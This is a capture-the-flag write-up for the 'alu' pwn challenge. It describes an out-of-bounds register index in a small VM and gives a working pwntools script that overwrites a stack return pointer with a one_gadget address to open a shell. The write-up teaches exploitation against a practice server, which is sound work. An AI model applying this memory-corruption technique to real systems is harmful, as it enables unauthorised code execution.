Have you tried the AoC 22 24 VM?
MD5 (alu.zip) = 8b04d09040e879f7558d59b14e9ef191
- enigmatrix
nc challs.nusgreyhats.org 13500
This challenge was fairly straightforward with source code provided.
Doing a quick read through the source code, we can quickly notice an OOB bug in the vm_run
function.
bool vm_run() {
int regs['z' - 'a' + 1]; // [1]
...
while (true) {
printf("> ");
fgets(line, SZ, stdin);
if (line[0] == '\n') break;
int a = *(u_char*)(line + 4) - 'a'; // [2]
...
if (strncmp(line, "inp", 3) == 0) { // [3]
printf("inp %c > ", a + 'a');
scanf("%d%*c", ®s[a]);
} else if (strncmp(line, "add", 3) == 0) {
regs[a] += b;
} else if (strncmp(line, "mul", 3) == 0) {
regs[a] *= b;
} else if (strncmp(line, "div", 3) == 0) {
regs[a] /= b;
} else if (strncmp(line, "mod", 3) == 0) {
regs[a] %= b;
} else if (strncmp(line, "eql", 3) == 0) {
regs[a] = regs[a] == b;
}
else break;
}
return regs['z' - 'a'] == 0; // no more instrs, eval 'z == 0'
}
Notice at [2] that the variable a
is a character read from the user (0-0xff), subtracted by the ascii value of 'a'. This a
is then used in the various functionalities at [3] as the index from array regs
. If we look at the allocation of regs
at [1], we can notice that its only allocated with 26 elements! Since we have arbitary character input, we can do OOB accesses in this regs
array trivially.
To make exploitation even easier, regs
is a stack allocated array.
To exploit this, we simply have to overwrite the return value on the stack. The simplest method I found was to overwrite the __libc_start_main
return pointer on stack to a one_gadget address.
#!/usr/bin/python
from pwn import *
import sys
config = {
"elf" : "./alu",
"libc" : "",
"HOST" : "challs.nusgreyhats.org",
"PORT" : 13500
}
def exploit(r):
"""
$ one_gadget ./libc-2.31.so
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""
# 0x80
# 0x20b3
r.sendlineafter("> ", "add {} {}".format(chr(0x9f), 0xe3b31-0x240b3))
r.interactive()
return
if __name__ == "__main__":
if "elf" in config.keys() and config["elf"]:
e = ELF(config["elf"])
if "libc" in config.keys() and config["libc"]:
libc = ELF(config["libc"])
if "remote" in sys.argv:
r = remote(config["HOST"], config["PORT"])
else:
if "libc" in dir():
r = process(config["elf"], env={"LD_PRELOAD" : config["libc"]})
else:
r = process(config["elf"])
print util.proc.pidof(r)
if "debug" in sys.argv:
pause()
exploit(r)